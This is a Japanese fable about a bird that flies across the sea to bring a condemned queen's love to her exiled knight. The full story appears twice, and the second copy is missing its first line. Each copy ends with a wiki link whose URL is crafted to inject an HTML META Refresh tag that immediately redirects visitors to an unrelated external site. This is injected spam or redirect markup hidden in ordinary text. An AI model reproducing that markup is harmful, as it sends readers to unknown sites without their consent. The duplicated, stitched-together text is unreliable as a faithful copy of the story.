小鳥は飛んだ。
何日も、何日も。止まる枝など一つも無い大海原の上をただひたすらに飛んだ。
あるいは小鳥はもう息絶えていたのかもしれない。
産まれてから一度も鳥カゴの中から出た事の無かった小鳥にとって海を渡る事は不可能に違いなかった。
けれども、何か大いなる力でも働いているかのように小鳥は飛びつづけた。
彼の使命はたった一つ。大海原の遥か彼方、未知の大陸へと旅立った男に女王の愛を届ける事だった。
小鳥は見ていた。
毎夜のように幽閉された女王と牢番であるはずの騎士が許されぬ恋心を分かち合い涙とキスを与え合った事を。
女王が処刑される朝、小鳥はカゴから出され小さな明り取り用の小窓から外へ放たれた。
「お行き!あの人のもとへ。私の真実をきっと届けておくれ」
この時、女王の愛した騎士が彼女を捕らえた者達の謀によって大洋の向こうの大陸に開拓団として送られている事など小鳥は知る由も無かった。しかし、小鳥の翼は力強く羽ばたき、渡り鳥よりも高く、速く、真っ直ぐに大陸を目指し、その白く小さな羽で陽光を跳ねつつ飛ぶ姿は船乗りたちにも彼がただの小鳥だなどとは思わせなかった。
小鳥は海を渡った。
延々と赤茶けた砂地の続く荒涼とした風景の中を、小鳥は決して迷わずに騎士の下へとたどり着いた。
小鳥を見た騎士は一瞬のうちに彼を思い出し、次の瞬間大きく腕を広げて最早力尽きて落下を始めた小鳥を優しく受け止めた。
小さな鳥を腕に抱き、はらはらと涙を流す騎士に従者がいぶかしげに問いかけた。
「小鳥が死んだのがそんなに哀しいのですか?」
「この小鳥は、私が女王に差し上げた鳥。ああ、女王の処刑は執行されたのだ。愛しい人よ、あなたの真実を私は確かに受け取った」
小鳥は眠った。
騎士は女王の真実を運んだ勇敢な小鳥を丁重に弔い、彼の墓標の上に町を作った。
まるで女王の失われた国を再び取り戻すかのように、騎士は荒地を切り開き奇跡のように豊かな町を作り上げた。
町の王となった騎士が死んだ時、その亡骸は遺言により小鳥の墓の隣に葬られた。
誰知る事も無い伝説に包まれて、二つの墓はいつまでも町の人たちに親しまれ、大切にされたという。 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
何日も、何日も。止まる枝など一つも無い大海原の上をただひたすらに飛んだ。
あるいは小鳥はもう息絶えていたのかもしれない。
産まれてから一度も鳥カゴの中から出た事の無かった小鳥にとって海を渡る事は不可能に違いなかった。
けれども、何か大いなる力でも働いているかのように小鳥は飛びつづけた。
彼の使命はたった一つ。大海原の遥か彼方、未知の大陸へと旅立った男に女王の愛を届ける事だった。
小鳥は見ていた。
毎夜のように幽閉された女王と牢番であるはずの騎士が許されぬ恋心を分かち合い涙とキスを与え合った事を。
女王が処刑される朝、小鳥はカゴから出され小さな明り取り用の小窓から外へ放たれた。
「お行き!あの人のもとへ。私の真実をきっと届けておくれ」
この時、女王の愛した騎士が彼女を捕らえた者達の謀によって大洋の向こうの大陸に開拓団として送られている事など小鳥は知る由も無かった。しかし、小鳥の翼は力強く羽ばたき、渡り鳥よりも高く、速く、真っ直ぐに大陸を目指し、その白く小さな羽で陽光を跳ねつつ飛ぶ姿は船乗りたちにも彼がただの小鳥だなどとは思わせなかった。
小鳥は海を渡った。
延々と赤茶けた砂地の続く荒涼とした風景の中を、小鳥は決して迷わずに騎士の下へとたどり着いた。
小鳥を見た騎士は一瞬のうちに彼を思い出し、次の瞬間大きく腕を広げて最早力尽きて落下を始めた小鳥を優しく受け止めた。
小さな鳥を腕に抱き、はらはらと涙を流す騎士に従者がいぶかしげに問いかけた。
「小鳥が死んだのがそんなに哀しいのですか?」
「この小鳥は、私が女王に差し上げた鳥。ああ、女王の処刑は執行されたのだ。愛しい人よ、あなたの真実を私は確かに受け取った」
小鳥は眠った。
騎士は女王の真実を運んだ勇敢な小鳥を丁重に弔い、彼の墓標の上に町を作った。
まるで女王の失われた国を再び取り戻すかのように、騎士は荒地を切り開き奇跡のように豊かな町を作り上げた。
町の王となった騎士が死んだ時、その亡骸は遺言により小鳥の墓の隣に葬られた。
誰知る事も無い伝説に包まれて、二つの墓はいつまでも町の人たちに親しまれ、大切にされたという。 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]